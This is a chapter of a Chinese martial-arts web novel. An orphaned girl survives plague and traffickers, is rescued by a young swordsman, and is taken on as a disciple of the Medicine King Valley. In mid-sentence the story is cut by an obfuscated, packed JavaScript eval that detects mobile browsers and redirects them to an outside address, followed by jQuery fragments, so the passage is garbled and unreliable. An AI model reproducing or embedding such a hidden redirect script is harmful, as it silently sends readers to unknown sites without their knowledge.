17. 拜师

    第十七章


    十多年前,天下还不怎么太平。


    常言道贼过如梳,兵过如篦。普通的村庄历经战乱之后,村里农户已经十不存一。


    而这种离丧兵灾过后,尸首无处收敛,又往往面临大疫。


    这个道理,是她小时候用全家性命换到的。


    浓烟裹着尸焦味盘旋在村口树上,十岁的孤女蜷在祠堂供桌下。


    她瘦得惊人,比这个年纪的女孩更矮小些。此刻拿掌心死死捂着嘴,藏着灰的指甲抓紧腐烂的木头纹路。


    外头拖着草席走过的,已是今天第四个人。


    几日前,镇东芸庄的火把混着瘟疫席卷而来,她看着娘亲挣扎着把最后半碗药土糊糊塞进弟弟嘴里。


    之后娘亲就再没有动过。


    家里开的药堂在第一波兵灾里就没了。爹爹前几日死前,塞给她藏了不知多久的一包药粉,扭过头,对她说,


    “要是活不下去,就吃了罢。”


    如今那个药包还在她怀里散着苦味。她抱着她的弟弟,唯一仅剩的血亲。疫鬼的爪印从弟弟脖颈爬到耳后,溃烂的皮肉渗出黄水。


    她烧起些采来的药草。女孩懂得不多,只是每次弟弟闻见这些药味都会轻松一些。腾起的药汽里看不清了弟弟肿胀的眼皮。


    突然有脚步声远远传来,她赶紧捻灭了药草梗。


    “活着的应声!”粗粝嗓门撞破祠堂门扉,两个汉子走了进来。


    女孩抱着弟弟,躲在神像后面,猛地咬破舌尖,血腥味激得她将哭腔咽回喉头。


    她一只手捂着自己的嘴,另一只手捂着躺在她身边濒死男孩的嘴,心里祈求弟弟在此刻千万不要咳嗽起来。


    不能出声。


    这里处处自顾不暇,哪里有收尸人?


    全都是人伢子。趁着丧乱,他们装成收尸人,四处搜罗还活着的孩童。


    祠堂的光亮昏晦未明,神像的头断了一半。她盈着眼泪看着那神像,一边绝望地想,在这昏乱的世道,连自己神像都无法保全的神佛,祈求起来真的有用么?


    没有用。怀里的身体突然抽搐,她捂着弟弟嘴边的手指触到一片凹结的鳞状软痂。


    弟弟咳了出声。


    那两个人伢子听见咳嗽声,对视一眼,往这边走来。


    她只能放开弟弟,咬着牙,滚到祠堂豁口旁边丛生的腐草里把自己藏起来,烂泥湿了全身,惊起里头一点绿色的飞虫。


    “还喘气!”那生了满脸横肉的汉子打量了一下垂危的男孩,对同伴说道,


    “活不久了。白费力气。”汉子的同伴长着一对三角眼,乜斜着看,有些犯疑惑,“这小畜生怎么还能活着?”


    他用脚拨了拨地上曾经用来熏蒸的药梗,


    “还有人。”


    十岁的女孩瑟缩地在草丛里蜷紧了身子,尽量使自己显得更小一些。


    汉子看看祠堂周围的飞虫,眯起那双三角眼,便朝她藏着的那长长蒿草堆走过来。


    一步,两步,三步。


    她想闭上眼,却没来得及。


    呼吸一窒。


    “这丫头片子眼神太亮。”


    生着倒三角眼的男人捞起她,突然捏住她的下巴,啧啧两声,


    拍了拍她。回过头对那横肉汉子嗬嗬一笑,


    “这才是正经好货。染了瘟的哪有这般精神?”


    他粗糙的手指抹过她干裂的嘴唇,沾了唾沫就要往她颈侧探。


    她绷紧身子,拿手指向那汉子的眼睛上抠去。


    流光乍破。


    十三岁的少年剑客衣袂飘然展动,他单手持剑,鲜血顺着剑尖淌到他的袖口。


    少年白衣胜雪,腰间佩的织绿丝绦长长地扬了起来,剑穗系的白玉琅玕撞上了些许血珠。


    她仰头望去时,正见他旋身避开攻击,剑尖回圜,点著轻挑便连断两人骨筋。


    最后一式,直取咽喉。


    人伢子们的惨叫十分短促,剑锋割开喉管的声音像风吹过晒干的药草。


    她突然泄了力,滚烫的眼泪一颗颗流了下来,融开对方身影的素色。


    三角眼汉子的鲜血溅到她脸上,一股血腥气直直冲到鼻腔里。她抹了一把脸,眼泪混着血腥气从脸上蒸开,却感觉比那腐尸味道还好得多了。


    她赶忙冲到弟弟的身边,却见弟弟已经咽了气。


    女孩笼起手,把十指架在脸上,泪水又从指缝里一点点滑落。她说不出话来,也哭不出声音,只是在自己手指安稳覆着的这一小块地方,无声地流泪。


    白衣少年沉默地割下一段衣摆,撕掉染上鲜血的部分,俯下身子,替她擦了擦脸边的泥水。


    她把手放下,那眼泪还在往外流着,她拿袖子揩了揩,吸溜了一下鼻子。


    “先,先别动,”她对着那少年剑客,努力止住抽噎,一边流着泪,一边抓着他的手臂不放。


    把他白衣袖口弄得脏了一块,他也没说什么,好脾气地让她抓着,


    “你……受,受伤了,”她终于能说出正经的一句话,指指那少年手臂上的一条血痕。


    她颤抖着掏出爹爹塞在她怀里的药包,倒了点粉末出来,又从腰上兜子里拈出点草药,在手里揉碎了,替他敷在伤口上。


    那少年剑客看看她洒出来的药粉,平静的开了口,那声音清洌洌地,


    “你知道这是什么吗?”


    “……砒霜。”


    她怯怯地说,赶紧找补,“用得对了也能治人,对这里的病有用的,蚀淤腐。”


    “但是爹爹自个吃了,就死了。”女孩继续道,显得有些局促。她睁大了一双眼睛,泪水刚刚停了些,显得水灵灵的。


    她擦了擦脸,在脸颊旁边留下一条新的泥痕,摇摇头,


    “爹爹他是不想活了,”她看了看弟弟的尸体,又转过头盯着那白衣少年,眼睛晶亮亮。


    女孩低下头去,咬着干裂的嘴唇,轻声说,


    “但我不愿意死。”


    她捧着的手臂有些微的颤抖,那白衣少年似乎有所触动,他抓过她的手腕,站起身子,扬声对着身后喊,


    “师叔!”


    循着他的声音,一个背药箱的道袍老者从他身后走进祠堂。


    看见那横七竖八的几个死人,老者脸上没显出半分意外来。倒是嗅了嗅四周的空气,咦了一声,仿佛有点讶异。


    他疾走几步,接过白


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319296|167402||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    衣少年递给她的女孩手腕,俯身探她的脉搏。


    这少年剑客看着老者,见他皱着眉头,就问他,“师叔?”


    “能把这女孩带回药王谷么?”他慢慢地说,手指在剑柄上环转,“她懂得药理。”


    “……归衍,”道袍老者摇了摇头,“药王谷救不得这许多人。”


    老者又捻了把黑白相间的胡须,看了看女孩用来熏蒸的药草,向前急走两步,俯下身子,检视地上男孩的尸体。


    “小姑娘,你天赋很好。”他叹口气,一拂袖子,指向她弟弟的尸体,“这孩子能活到现在才死,你功劳很大。”


    听见老者这样说,少年陆归衍手指轻轻敲了两下剑柄,对着她使了个眼色。


    她也算有些机灵,明白这是千载难逢的机会。于是站起身,拍了拍几乎破成烂布的衣服,恭恭敬敬的对着老者跪下。


    “弟子给师傅磕头了。”额头触到脏兮兮的泥地。


    老者点点头,眼看这女童聪明伶俐,更难得的是小小年纪,熏蒸药草竟然合式,显是天资非凡,十分欣慰。


    “小姑娘,你可愿学这辨浊清、断生死的针术?”


    “弟子愿意。”她趴在地上说,眼角余光瞥了一眼弟弟因瘟疫而泛着青黄的尸体,眼泪又扑簌簌地落在泥地里。


    “从今往后,你便是药王谷弟子了,我是药堂长老陈匀沣。你从此便属药堂,切记需得精研医术。”


    老者点点她身上,站起身子,转过头,便示意她跟上。


    “还有一事。小姑娘,你姓什么?叫什么?”


    女孩站起身,走了两步,环顾祠堂外的四周。


    村落里十室九空。爹爹服毒自尽,娘亲和弟弟相继病死,世上已没有人要她,没有半个识得她的人,也没有半个她识得的人了。


    她回头看了那少年剑客一眼,陆归衍已经从身后跟了上来,长剑配在腰间,傍边青白色的弟子绦晃过眼角。


    “阿青。”她转过头,直视前方,表现出超乎年龄的诡异冷静,“弟子唤做阿青。”


    陈长老在前面点点头,继续走着,他们两个人也一前一后。


    “师父,”这个刚决定叫阿青的女孩犹豫了一下,语言有些僵硬,


    “弟子想学医理,也想学武功。”


    她要活着。


    若有朝一日,她不能以医术救可救之人,就以武功杀此不可救之世。


    *


    十几年时间过去,当年的女孩阿青,现在已经成了药王谷的青归玉。


    人还是要活着才好,因此从门前石阶上捞起那个想要自戕的寒毒少年。


    救这条性命的本钱超出了预期,但若是重来一次,恐怕她还是会这样做。


    当年陈长老说的不错。阿青的医术天赋没有辜负她,后来这便是药王谷金针秘术唯一的继承人。


    她在玉兰阵中伸了个懒腰,摘掉头发上的几片花瓣,对着李归乘笑了笑,


    “李师兄如果当真想要研习这金针秘术的第三针,”她把竹笛背在身后,走到他面前,“也可以学。但只怕李师兄不会使。”


    她蹲下身子,直视这位药王谷师兄的眼睛:“黄帝第三针,那可是以命换命。”